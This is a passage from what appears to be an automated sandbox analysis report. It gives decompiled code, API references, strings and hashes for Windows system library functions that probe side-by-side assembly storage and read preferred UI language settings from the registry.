										 *(_v552 + 4) = _t173;
										if(_t173 != 0) {
											memcpy(_t173, _t189, _t165 & 0x0000ffff);
											_t145 = _v552;
											L52:
											 *(_t145 + 2) = _t199;
											_t174 = _t145;
											goto L23;
										}
										_t193 = 0xc0000017;
										goto L24;
									}
									_t145 = _v552;
									 *(_t145 + 4) = _t189;
									_t189 = 0;
									_v556 = 0;
									goto L52;
								} else {
									memcpy( *(_t172 + 4), _t189, _t165 & 0x0000ffff);
									_t174 = _v580;
									L23:
									_t187 = _v584;
									 *_t187 = _t174;
									_t147 = (_t165 & 0x0000ffff) +  *((intOrPtr*)(_t174 + 4));
									_t175 = 0x5c;
									 *_t147 = _t175;
									 *((short*)(_t147 + 2)) = 0;
									 *( *_t187) = _v560 + 2;
									_v548 = _v548 & 0x00000000;
									_t193 = 0;
									 *_v544 = _v548;
									L24:
									_t103 = _v588;
									if(_t103 != 0) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t103);
										_t189 = _v556;
									}
									goto L26;
								}
							}
						}
					}
				}
			}

0x6d27cf7c
0x6d27cf7f
0x6d27cf82
0x6d27cf85
0x6d27cf8e
0x6d27cf99
0x6d27cf9c
0x6d27cfa4
0x6d27cfab
0x6d27cfad
0x6d27cfb3
0x6d27cfb9
0x6d27cfbf
0x6d27cfc5
0x6d27cfcb
0x6d27cfd1
0x6d27cfd7
0x6d27cfdd
0x6d27cfe3
0x6d27cfeb
0x6d27cfed
0x6d27cfed
0x6d27cfef
0x6d27cffb
0x6d27d003
0x6d27d005
0x6d27d005
0x6d27d00d
0x6d2bafc1
0x6d2bafc7
0x6d2bafc8
0x6d2bafc9
0x6d2bafca
0x6d2bafcb
0x6d2bafcc
0x6d2bafdc
0x6d2bafe4
0x00000000
0x6d27d03f
0x6d27d03f
0x6d27d042
0x6d27d047
0x6d27d050
0x6d27d055
0x6d27d059
0x6d27d05c
0x6d2bae41
0x6d2bae47
0x6d2bae4e
0x6d2bae4e
0x6d2bae41
0x6d27d05c
0x6d27d068
0x6d27d06a
0x6d27d075
0x6d2bae56
0x6d2bae5b
0x6d2bae5d
0x6d2bae5f
0x6d2bae67
0x6d27d230
0x6d27d232
0x6d27d261
0x6d27d261
0x6d27d23e
0x6d27d245
0x6d2bafee
0x6d2baff4
0x6d2baff4
0x6d27d250
0x6d27d251
0x6d27d254
0x6d27d25d
0x6d27d25d
0x6d27d080
0x6d2bae71
0x6d2bae7a
0x6d2bae7c
0x6d2bae84
0x6d2baea1
0x00000000
0x6d2baea1
0x6d2bae8f
0x6d2bae97
0x00000000
0x6d27d086
0x6d27d086
0x6d27d08c
0x6d27d08f
0x6d27d095
0x6d27d09d
0x6d27d0a8
0x6d27d0b1
0x6d2baeab
0x6d2baeac
0x6d2baeaf
0x6d2baeaf
0x6d27d0b7
0x6d27d0c5
0x6d27d0dc
0x6d27d0f1
0x6d27d102
0x6d27d112
0x6d2baec0
0x6d2baec8
0x00000000
0x6d27d118
0x6d27d118
0x6d27d11e
0x6d27d124
0x6d27d12d
0x6d2baed2
0x6d2baede
0x6d2baee4
0x6d27d133
0x6d27d133
0x6d27d133
0x6d27d135
0x6d27d141
0x6d27d143
0x6d27d14f
0x6d27d151
0x6d27d158
0x6d27d162
0x6d27d163
0x6d27d16e
0x6d27d178
0x6d27d179
0x6d27d17f
0x6d27d18a
0x6d27d18c
0x6d27d194
0x6d2baef2
0x6d2baef6
0x6d2baefc
0x6d2baeff
0x6d2baf15
0x6d2baf1a
0x6d2baf20
0x6d2baf20
0x6d2baef6
0x6d27d19c
0x6d2baf32
0x6d2baf5c
0x6d2baf44
0x6d2baf44
0x6d2baf4f
0x6d2baf54
0x00000000
0x6d27d1a2
0x6d27d1a2
0x6d27d1a8
0x6d27d1b4
0x6d2baf6e
0x6d2baf89
0x6d2baf91
0x6d2baf96
0x6d2bafa8
0x6d2bafad
0x6d2bafb6
0x6d2bafb6
0x6d2bafba
0x00000000
0x6d2bafba
0x6d2baf98
0x00000000
0x6d2baf98
0x6d2baf70
0x6d2baf76
0x6d2baf79
0x6d2baf7b
0x00000000
0x6d27d1ba
0x6d27d1c2
0x6d27d1c7
0x6d27d1d0
0x6d27d1d0
0x6d27d1db
0x6d27d1dd
0x6d27d1e0
0x6d27d1e1
0x6d27d1e6
0x6d27d1f5
0x6d27d204
0x6d27d20b
0x6d27d20d
0x6d27d20f
0x6d27d20f
0x6d27d217
0x6d27d225
0x6d27d22a
0x6d27d22a
0x00000000
0x6d27d217
0x6d27d1b4
0x6d27d19c
0x6d27d112
0x6d27d080

APIs

memcpy.1105(?,00000010,?,00000040,?,?), ref: 6D27D09D
memcpy.1105(00000000,00000010,00000000,00000040,?,?), ref: 6D27D0C5
RtlDosPathNameToRelativeNtPathName_U.1105(?,?,00000000,?,?,?,?,00000040,?,?), ref: 6D27D10B
ZwOpenFile.1105(?,00100020,?,?,00000003,00000021,?,?,00000000,?,?,?,?,00000040,?,?), ref: 6D27D185
memcpy.1105(00000010,?,?,?,00100020,?,?,00000003,00000021,?,?,00000000,?), ref: 6D27D1C2
RtlFreeHeap.1105(?,00000000,?,?,00000000,?,?,?,?,00000040,?,?), ref: 6D27D225
RtlDeleteBoundaryDescriptor.1105(?,?,00000000,?,?,?,?,00000040,?,?), ref: 6D27D261

Part of subcall function 6D24AD30: RtlFreeHeap.1105(?,00000000,00000001,?,6D2702E9,00000000,?,6D25ECFB,6D3384D8,6D3384D8,6D2917F0,00000000,?,6D26F715,6D26F5C0,?), ref: 6D24AD43

ZwClose.1105(00000010,?,00100020,?,?,00000003,00000021,?,?,00000000,?,?,?,?,00000040,?), ref: 6D2BAEFF
RtlFreeHeap.1105(?,00000000,?,00000010,?,00100020,?,?,00000003,00000021,?,?,00000000,?), ref: 6D2BAF15

Strings

SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 6D2BAF46
RtlpProbeAssemblyStorageRootForAssembly, xrefs: 6D2BAFCE
SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING., xrefs: 6D2BAE56
@, xrefs: 6D27D16E
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 6D2BAEB8
SXS: %s() bad parametersSXS: Flags: 0x%lxSXS: Root: %pSXS: AssemblyDirectory: %pSXS: PreAllocatedString: %pSXS: DynamicString: %pSXS: StringUsed: %pSXS: OpenDirectoryHandle: %p, xrefs: 6D2BAFD3
SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed., xrefs: 6D2BAE87

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeapmemcpy$Path$BoundaryCloseDeleteDescriptorFileNameName_OpenRelative
String ID: @$RtlpProbeAssemblyStorageRootForAssembly$SXS: %s() bad parametersSXS: Flags: 0x%lxSXS: Root: %pSXS: AssemblyDirectory: %pSXS: PreAllocatedString: %pSXS: DynamicString: %pSXS: StringUsed: %pSXS: OpenDirectoryHandle: %p$SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed.$SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING.$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx
API String ID: 1343436988-541586583
Opcode ID: 04735556ecdfdf6c8a2a65d60aa293114fcba74ecf3ea7519ceee302a1bb1462
Instruction ID: 5d5702c302d8f9382f93c2e0340354dc3199f31aca8bad0e70d1ada3bfb9a67b
Opcode Fuzzy Hash: 04735556ecdfdf6c8a2a65d60aa293114fcba74ecf3ea7519ceee302a1bb1462
Instruction Fuzzy Hash: 6EC1C27199522EDBDB318F19CC84FAAB7B4EF85345F1140EAE808A7251E7719E81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6D24EC9B, Relevance: 40.6, APIs: 14, Strings: 9, Instructions: 320
nativememoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E6D24EC9B(intOrPtr __ecx, signed int _a4, intOrPtr _a8, char* _a12, intOrPtr* _a16) {
				intOrPtr _v36;
				char _v40;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				long _v88;
				void* _v92;
				intOrPtr _v96;
				void* _v100;
				intOrPtr _v104;
				char _v108;
				long _v112;
				char _v116;
				char _v117;
				char _v120;
				signed int _v124;
				char _v125;
				char _v128;
				unsigned int _v132;
				signed int _v136;
				void* _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				void* _v152;
				char _v156;
				void* _v168;
				void* _v172;
				void* _v180;
				void* _v192;
				void* _t107;
				void* _t108;
				void* _t119;
				void* _t126;
				WCHAR* _t135;
				char _t140;
				void* _t155;
				char* _t168;
				long _t169;
				void* _t174;
				char _t179;
				void* _t180;
				void* _t182;
				void* _t189;
				signed int _t191;
				void* _t193;
				signed int _t195;
				signed int _t197;
				void* _t199;

				_t199 = (_t197 & 0xfffffff8) - 0x74;
				_t168 = _a12;
				_v104 = __ecx;
				_v100 = 0;
				_v112 = 0;
				_v108 = 0;
				_v96 = 7;
				_v92 = 0;
				_v88 = 0;
				_v117 = 0;
				_t189 = 0;
				_v116 = 0;
				if(__ecx == 0 || _t168 == 0 || _a16 == 0) {
					_t193 = 0xc000000d;
					goto L43;
				} else {
					_t195 = _a4;
					 *_t168 = 0;
					if(_t195 == 1 || _t195 == 0) {
						RtlInitUnicodeString( &_v84, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
						_v84 = 0x18;
						_v76 =  &_v92;
						_v116 = 0;
						_push( &_v84);
						_push(0x20019);
						_v80 = 0;
						_push( &_v116);
						_v72 = 0x40;
						_v68 = 0;
						_v64 = 0;
						if(E6D289600() >= 0) {
							_t126 = E6D24BAA0(_v116, _v112,  &_v124);
							_t189 = _v136;
							_t193 = _t126;
							if(_t193 != 0 || _t189 == 0) {
								_t179 = _v116;
								_t195 = _a4;
								goto L7;
							} else {
								goto L44;
							}
						} else {
							_t179 = 0;
							_v116 = 0;
							L7:
							if(_t195 == 1 && _t179 != 0 && E6D2FD191(_t179,  &_v125) >= 0) {
								asm("sbb eax, eax");
								_a4 = _t195 &  ~(_v125 - 0x00000001 & 0x000000ff);
							}
							_t185 = 0;
							_t180 = 0x2000000;
							_t193 = E6D24F108(0, _t179, _t179,  &_v108);
							if(_t193 < 0) {
								L45:
								 *_t168 = 1;
								goto L43;
							} else {
								if(_a4 != 1) {
									RtlInitUnicodeString( &_v92, L"Control Panel\\Desktop\\MuiCached");
									_t193 = 0;
									_v40 = _v116;
									_v36 =  &_v100;
									_push( &_v44);
									_push(0x20019);
									_v128 = 0;
									_push( &_v128);
									_v44 = 0x18;
									 *((intOrPtr*)(_t199 + 0x80)) = 0x40;
									 *((intOrPtr*)(_t199 + 0x84)) = 0;
									 *((intOrPtr*)(_t199 + 0x88)) = 0;
									if(E6D289600() < 0) {
										 *_t168 = 1;
										L44:
										_t174 = 0;
										L17:
										_t115 = _a4;
										if(_a4 != 0 || _t189 != 0 &&  *((intOrPtr*)(_t189 + 4)) != _t174) {
											_t171 = _v104;
											L21:
											if(_t189 == 0) {
												_t189 = E6D257608(1, _t185 & 0xffffff00 | _t115 != 0x00000001, _t171);
												if(_t189 == 0) {
													_t193 = 0xc0000017;
												}
											}
											goto L23;
										} else {
											_t171 = _v104;
											_t119 = E6D2FE0E9(_v104, _t168,  &_v116);
											_t189 = _v124;
											_t193 = _t119;
											if(_t193 != 0) {
												L23:
												 *_a16 = _t189;
												L24:
												_t107 = _v88;
												if(_t107 == 0) {
													L48:
													_t169 = 0;
													L26:
													if(_v112 != 0) {
														_push(_v112);
														E6D2895D0();
														_v116 = _t169;
													}
													_t108 = _v100;
													if(_t108 != 0) {
														if(_t108 != 0xffffffff) {
															 *0x6d226cc4(_t108);
														}
														_v100 = _t169;
													}
													if(_v108 != 0) {
														_push(_v108);
														E6D2895D0();
													}
													goto L33;
												}
												_t169 = 0;
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t107);
												goto L26;
											}
											_t115 = _a4;
											goto L21;
										}
									}
									_t135 = L"MachinePreferredUILanguages";
									L15:
									RtlInitUnicodeString( &_v100, _t135);
									_push(_t180);
									_t185 =  &_v108;
									_t182 = E6D24F018(_v136,  &_v108,  &_v120, _t193,  &_v116);
									_t193 = 0xc0000034;
									if(_t182 != 0xc0000034) {
										_t140 = _v120;
										if(_t140 == 0) {
											goto L16;
										}
										if(_t182 != 0x80000005) {
											goto L48;
										}
										_t191 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t140 + 2);
										_v124 = _t191;
										if(_t191 == 0) {
											_t193 = 0xc0000017;
											goto L48;
										}
										_push(_t182);
										_t185 =  &_v120;
										_t193 = E6D24F018(_v148,  &_v120,  &_v132, _t191,  &_v128);
										if(_t193 < 0) {
											L42:
											_t189 = _v156;
											L43:
											if(_t193 != 0) {
												goto L24;
											}
											goto L44;
										}
										if(_v136 != 7) {
											if(_v136 == 1) {
												goto L41;
											}
											_t189 = _v156;
											_t174 = 0;
											_t193 = 0;
											 *_t168 = 1;
											goto L17;
										}
										L41:
										_t185 = _t191;
										_t193 = E6D2538A4(_v144, _t191, _v132 >> 1, 8, (0 | _v132 >> 0x00000001 != 0x00000000) + 2, 1,  &_v156);
										goto L42;
									}
									L16:
									_t174 = 0;
									 *_t168 = 1;
									_t193 = 0;
									goto L17;
								}
								_t155 = E6D24E420(_v108, _v112,  &_v124);
								_t189 = _v136;
								_t193 = _t155;
								if(_t193 == 0) {
									if(_t189 != 0) {
										goto L23;
									}
								}
								RtlInitUnicodeString( &_v92, L"Control Panel\\Desktop");
								_t180 = 0;
								_v64 = _v116;
								_v60 =  &_v100;
								_push( &_v68);
								_push(0x20019);
								_v128 = 0;
								_push( &_v128);
								_v68 = 0x18;
								_v56 = 0x40;
								_v52 = 0;
								_v48 = 0;
								_t193 = E6D289600();
								if(_t193 < 0) {
									goto L45;
								}
								_t135 = L"PreferredUILanguages";
								if(_a8 != 3) {
									_t135 = L"PreferredUILanguagesPending";
								}
								_t193 = 0;
								goto L15;
							}
						}
					} else {
						_t193 = 0xc000000d;
						L33:
						return _t193;
					}
				}
			}

0x6d24eca3
0x6d24eca7
0x6d24ecae
0x6d24ecb2
0x6d24ecb6
0x6d24ecba
0x6d24ecbe
0x6d24ecc6
0x6d24ecca
0x6d24ecce
0x6d24ecd4
0x6d24ecd6
0x6d24ecdc
0x6d2a5952
0x00000000
0x6d24ecf3
0x6d24ecf3
0x6d24ecf6
0x6d24ecfb
0x6d24ed0f
0x6d24ed18
0x6d24ed20
0x6d24ed2a
0x6d24ed2e
0x6d24ed2f
0x6d24ed38
0x6d24ed3c
0x6d24ed3d
0x6d24ed45
0x6d24ed49
0x6d24ed54
0x6d2a58d5
0x6d2a58da
0x6d2a58de
0x6d2a58e2
0x6d2a58ec
0x6d2a58f0
0x00000000
0x00000000
0x00000000
0x00000000
0x6d24ed5a
0x6d24ed5a
0x6d24ed5c
0x6d24ed60
0x6d24ed63
0x6d2a5914
0x6d2a5918
0x6d2a5918
0x6d24ed71
0x6d24ed76
0x6d24ed80
0x6d24ed84
0x6d24f002
0x6d24f002
0x00000000
0x6d24ed8a
0x6d24ed8e
0x6d24ef03
0x6d24ef0c
0x6d24ef0e
0x6d24ef16
0x6d24ef1e
0x6d24ef1f
0x6d24ef28
0x6d24ef2c
0x6d24ef2d
0x6d24ef35
0x6d24ef40
0x6d24ef47
0x6d24ef55
0x6d24f007
0x6d24effb
0x6d24effb
0x6d24ee5a
0x6d24ee5a
0x6d24ee5f
0x6d24ee73
0x6d24ee77
0x6d24ee79
0x6d24ee8a
0x6d24ee8e
0x6d2a5983
0x6d2a5983
0x6d24ee8e
0x00000000
0x6d2a595c
0x6d2a5962
0x6d2a5968
0x6d2a596d
0x6d2a5971
0x6d2a5975
0x6d24ee94
0x6d24ee97
0x6d24ee99
0x6d24ee99
0x6d24ee9f
0x6d24f011
0x6d24f011
0x6d24eeb7
0x6d24eebc
0x6d24eebe
0x6d24eec2
0x6d24eec7
0x6d24eec7
0x6d24eecb
0x6d24eed1
0x6d24eed6
0x6d24eed9
0x6d24eed9
0x6d24eedf
0x6d24eedf
0x6d24eee8
0x6d2a598d
0x6d2a5991
0x6d2a5991
0x00000000
0x6d24eee8
0x6d24eeac
0x6d24eeb2
0x00000000
0x6d24eeb2
0x6d2a597b
0x00000000
0x6d2a597b
0x6d24ee5f
0x6d24ef5b
0x6d24ee20
0x6d24ee26
0x6d24ee2b
0x6d24ee3b
0x6d24ee44
0x6d24ee46
0x6d24ee4d
0x6d24ef65
0x6d24ef6b
0x00000000
0x00000000
0x6d24ef77
0x00000000
0x00000000
0x6d24ef91
0x6d24ef93
0x6d24ef99
0x6d24f00c
0x00000000
0x6d24f00c
0x6d24ef9b
0x6d24efab
0x6d24efb4
0x6d24efb8
0x6d24efef
0x6d24efef
0x6d24eff3
0x6d24eff5
0x00000000
0x00000000
0x00000000
0x6d24eff5
0x6d24efbf
0x6d2a593c
0x00000000
0x00000000
0x6d2a5942
0x6d2a5946
0x6d2a5948
0x6d2a594a
0x00000000
0x6d2a594a
0x6d24efc5
0x6d24efd0
0x6d24efed
0x00000000
0x6d24efed
0x6d24ee53
0x6d24ee53
0x6d24ee55
0x6d24ee58
0x00000000
0x6d24ee58
0x6d24eda1
0x6d24eda6
0x6d24edaa
0x6d24edae
0x6d2a5922
0x00000000
0x00000000
0x6d2a5928
0x6d24edbe
0x6d24edc7
0x6d24edc9
0x6d24edd1
0x6d24edd9
0x6d24edda
0x6d24ede3
0x6d24ede7
0x6d24ede8
0x6d24edf0
0x6d24edf8
0x6d24edfc
0x6d24ee05
0x6d24ee09
0x00000000
0x00000000
0x6d24ee13
0x6d24ee18
0x6d2a592d
0x6d2a592d
0x6d24ee1e
0x00000000
0x6d24ee1e
0x6d24ed84
0x6d2a58be
0x6d2a58be
0x6d24eeee
0x6d24eef6
0x6d24eef6
0x6d24ecfb

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000), ref: 6D24ED0F
ZwOpenKey.1105(?,?,?,?,00020019,00000018,?,?,?,?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000), ref: 6D24ED4D
RtlpLoadUserUIByPolicy.1105(?,?,?,00000000,00000000,?,?,?,?,?,00020019,00000018,?,?,?,?), ref: 6D24EDA1
RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6D24EDBE
ZwOpenKey.1105(00000007,00020019,00000040,?,Control Panel\Desktop,?,?,?,00000000,00000000,?,?,?,?,?,00020019), ref: 6D24EE00
RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,00000040,?,Control Panel\Desktop,?,?,?,00000000,00000000,?), ref: 6D24EE26
RtlFreeHeap.1105(?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018,?,?,?,?), ref: 6D24EEB2
ZwClose.1105(00000000,?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6D24EEC2
ZwClose.1105(?,?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6D24EED9
RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached,00000000,00000000,?,?,?,?,?,00020019,00000018,?,?,?,?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings), ref: 6D24EF03
ZwOpenKey.1105(?,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,00000000,00000000,?,?,?,?,?), ref: 6D24EF4E
RtlAllocateHeap.1105(?,00000008,?,?,00000000,?,?,?,PreferredUILanguages,00000007,00020019,00000040,?,Control Panel\Desktop,?,?), ref: 6D24EF8C
ZwClose.1105(00000000,?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6D2A5991

Strings

PreferredUILanguages, xrefs: 6D24EE13, 6D24EE20
MachinePreferredUILanguages, xrefs: 6D24EF5B
Control Panel\Desktop\MuiCached, xrefs: 6D24EEF9
@, xrefs: 6D24EF35
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 6D24ED05
@, xrefs: 6D24EDF0
Control Panel\Desktop, xrefs: 6D24EDB4
PreferredUILanguagesPending, xrefs: 6D2A592D
@, xrefs: 6D24ED3D

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$Heap$AllocateFreeLoadPolicyRtlpUser
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 3016148903-3532704233
Opcode ID: 3d2e0d2dee8d18731b37315bccd9a6d07cfd435e2a9abc19ef3781d37ac220c2
Instruction ID: dc47098b697b5b85cdad3e53a00bd0d7dd97d7083681127757bc0e46a651558d
Opcode Fuzzy Hash: 3d2e0d2dee8d18731b37315bccd9a6d07cfd435e2a9abc19ef3781d37ac220c2
Instruction Fuzzy Hash: 42C15A7199C35A9FD719CF28C480A6BB7E8BB88714F05892EFD99D7240D730D948CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6D24E9ED, Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 258
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6D24E9ED(void* __ecx, void** __edx, intOrPtr _a4) {
				char _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v68;
				void* _v72;
				void* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				intOrPtr _v108;
				signed int _v112;
				char _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				signed int _v128;
				char _v132;
				void* _v136;
				void* _v140;
				signed int _v144;
				void* _v148;
				signed int _v152;
				char _v153;
				signed int _v160;
				char _v168;
				void* _v169;
				signed int _v176;
				void* _v180;
				void* _v181;
				signed int _v184;
				void* _v188;
				void* _v192;
				void* _v196;
				void* _v204;
				void* _v212;
				intOrPtr _t110;
				void* _t114;
				void* _t134;
				void* _t145;
				void* _t156;
				void* _t158;
				void* _t160;
				intOrPtr _t161;
				void** _t177;
				void* _t180;
				char _t182;
				signed int _t183;
				void* _t185;

				_t185 = (_t183 & 0xfffffff8) - 0x9c;
				_t158 = __ecx;
				_t177 = __edx;
				_v128 = 0;
				_v160 = 0;
				_v144 = 0;
				_v152 = 0;
				if(__edx == 0 || _a4 == 0) {
					_t180 = 0xc000000d;
					goto L11;
				} else {
					_v128 =  *((intOrPtr*)(__edx));
					RtlInitUnicodeString( &_v140, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
					_t182 = 0x18;
					_v132 = _t182;
					_v124 =  &_v148;
					_t166 = 0;
					_v168 = 0;
					_push( &_v132);
					_push(0x20019);
					_v128 = 0;
					_push( &_v168);
					_v120 = 0x40;
					_v116 = 0;
					_v112 = 0;
					if(E6D289600() >= 0) {
						_t166 = _v168;
						_t180 = E6D2FD208(_v168, _a4,  &_v153,  &_v140);
						__eflags = _t180;
						if(_t180 >= 0) {
							L11:
							if(_v160 != 0) {
								_push(_v160);
								E6D2895D0();
							}
							if(_v144 != 0) {
								_push(_v144);
								E6D2895D0();
							}
							_t110 = _v152;
							if(_t110 != 0 && _t110 != 0xffffffff) {
								 *0x6d226cc4(_t110);
							}
							if(_t180 < 0) {
								__eflags = _t177;
								if(_t177 == 0) {
									goto L19;
								}
								_t160 = _v128;
								__eflags =  *_t177 - _t160;
								if( *_t177 == _t160) {
									goto L19;
								}
								__eflags =  *_t177;
								if( *_t177 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *_t177);
								}
								goto L46;
							} else {
								if( *_t177 == 0) {
									_t114 = E6D24F2F0(1);
									 *_t177 = _t114;
									__eflags = _t114;
									if(_t114 != 0) {
										goto L19;
									}
									_t160 = _v128;
									_t180 = 0xc0000017;
									L46:
									 *_t177 = _t160;
								}
								L19:
								return _t180;
							}
						}
						__eflags = _t158 - 8;
						if(_t158 == 8) {
							_t166 = _v168;
							 *((char*)(_t185 + 0x13)) = 0;
							_t156 = E6D2FD191(_v168, _t185 + 0x13);
							__eflags = _t156;
							if(_t156 == 0) {
								__eflags =  *((char*)(_t185 + 0x13)) - 1;
								if( *((char*)(_t185 + 0x13)) == 1) {
									_t158 = 4;
								}
							}
						}
						_push(_v168);
						E6D2895D0();
						 *(_t185 + 0xc) =  *(_t185 + 0xc) & 0x00000000;
						_t182 = 0x18;
					}
					if(E6D24F108(0, _t166, _t166,  &_v160) < 0) {
						_v160 = _v160 & 0x00000000;
					}
					if(_t158 == 8) {
						__eflags = _v160;
						if(_v160 == 0) {
							goto L36;
						}
						RtlInitUnicodeString( &_v148, L"Software\\Policies\\Microsoft\\Control Panel\\Desktop");
						_v160 = _v160 & 0x00000000;
						 *(_t185 + 0x58) =  *(_t185 + 0x58) & 0x00000000;
						 *(_t185 + 0x5c) =  *(_t185 + 0x5c) & 0x00000000;
						_v112 = _v168;
						_t161 = 0x40;
						_v108 = _t185 + 0x20;
						_push( &_v116);
						_push(0x20019);
						_v116 = _t182;
						_push( &_v160);
						 *((intOrPtr*)(_t185 + 0x60)) = _t161;
						_t134 = E6D289600();
						__eflags = _t134;
						if(_t134 >= 0) {
							_t180 = E6D2FD208(_v160, _a4, _t185 + 0x1f,  &_v148);
							__eflags = _t180;
							if(_t180 >= 0) {
								goto L11;
							}
							_t182 = 0x18;
						}
						RtlInitUnicodeString(_t185 + 0x24, L"Control Panel\\Desktop\\LanguageConfiguration");
						_v184 = _v184 & 0x00000000;
						_v84 = _v84 & 0x00000000;
						_v80 = _v80 & 0x00000000;
						 *((intOrPtr*)(_t185 + 0x64)) = _v176;
						 *((intOrPtr*)(_t185 + 0x68)) = _t185 + 0x20;
						_push(_t185 + 0x60);
						_push(0x20019);
						 *((intOrPtr*)(_t185 + 0x68)) = _t182;
						_push( &_v184);
						_v88 = _t161;
						_t180 = E6D289600();
						__eflags = _t180;
						if(_t180 >= 0) {
							goto L10;
						}
						__eflags = _t180 - 0xc0000034;
						goto L35;
					} else {
						if(_t158 != 4) {
							L10:
							_t180 = E6D24F1E4(_v184, _t177, _a4);
							goto L11;
						}
						if(_v160 == 0) {
							_t145 = 0xc0000034;
						} else {
							RtlInitUnicodeString( &_v148, L"Control Panel\\Desktop\\MuiCached\\MachineLanguageConfiguration");
							_v176 = _v176 & 0x00000000;
							_v52 = _v52 & 0x00000000;
							_v48 = _v48 & 0x00000000;
							_v64 = _v168;
							_v60 = _t185 + 0x20;
							_push( &_v68);
							_push(0x20019);
							_v68 = _t182;
							_push( &_v176);
							_v56 = 0x40;
							_t145 = E6D289600();
						}
						if(_t145 < 0) {
							RtlInitUnicodeString( &_v148, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings\\LanguageConfiguration");
							_v176 = _v176 & 0x00000000;
							 *(_t185 + 0x94) =  *(_t185 + 0x94) & 0x00000000;
							 *(_t185 + 0xa0) =  *(_t185 + 0xa0) & 0x00000000;
							 *(_t185 + 0xa4) =  *(_t185 + 0xa4) & 0x00000000;
							 *((intOrPtr*)(_t185 + 0x98)) = _t185 + 0x20;
							_push( &_v44);
							_push(0x20019);
							_v44 = _t182;
							_push( &_v176);
							 *((intOrPtr*)(_t185 + 0xa8)) = 0x40;
							_t180 = E6D289600();
							if(_t180 < 0) {
								__eflags = _t180 - 0xc0000034;
								L35:
								if(__eflags != 0) {
									goto L11;
								}
								L36:
								_t180 = 0;
								goto L11;
							}
						}
						goto L10;
					}
				}
			}

0x6d24e9f5
0x6d24e9ff
0x6d24ea02
0x6d24ea04
0x6d24ea08
0x6d24ea0c
0x6d24ea10
0x6d24ea16
0x6d2a5857
0x00000000
0x6d24ea25
0x6d24ea27
0x6d24ea35
0x6d24ea3c
0x6d24ea41
0x6d24ea45
0x6d24ea49
0x6d24ea4f
0x6d24ea53
0x6d24ea54
0x6d24ea5d
0x6d24ea61
0x6d24ea62
0x6d24ea6a
0x6d24ea6e
0x6d24ea79
0x6d2a57b3
0x6d2a57c2
0x6d2a57c4
0x6d2a57c6
0x6d24eb97
0x6d24eb9c
0x6d24eb9e
0x6d24eba2
0x6d24eba2
0x6d24ebac
0x6d2a5861
0x6d2a5865
0x6d2a5865
0x6d24ebb2
0x6d24ebb8
0x6d24ebc0
0x6d24ebc0
0x6d24ebc8
0x6d2a586f
0x6d2a5871
0x00000000
0x00000000
0x6d2a5877
0x6d2a587b
0x6d2a587d
0x00000000
0x00000000
0x6d2a5883
0x6d2a5886
0x6d2a5895
0x6d2a5895
0x00000000
0x6d24ebce
0x6d24ebd1
0x6d2a589f
0x6d2a58a4
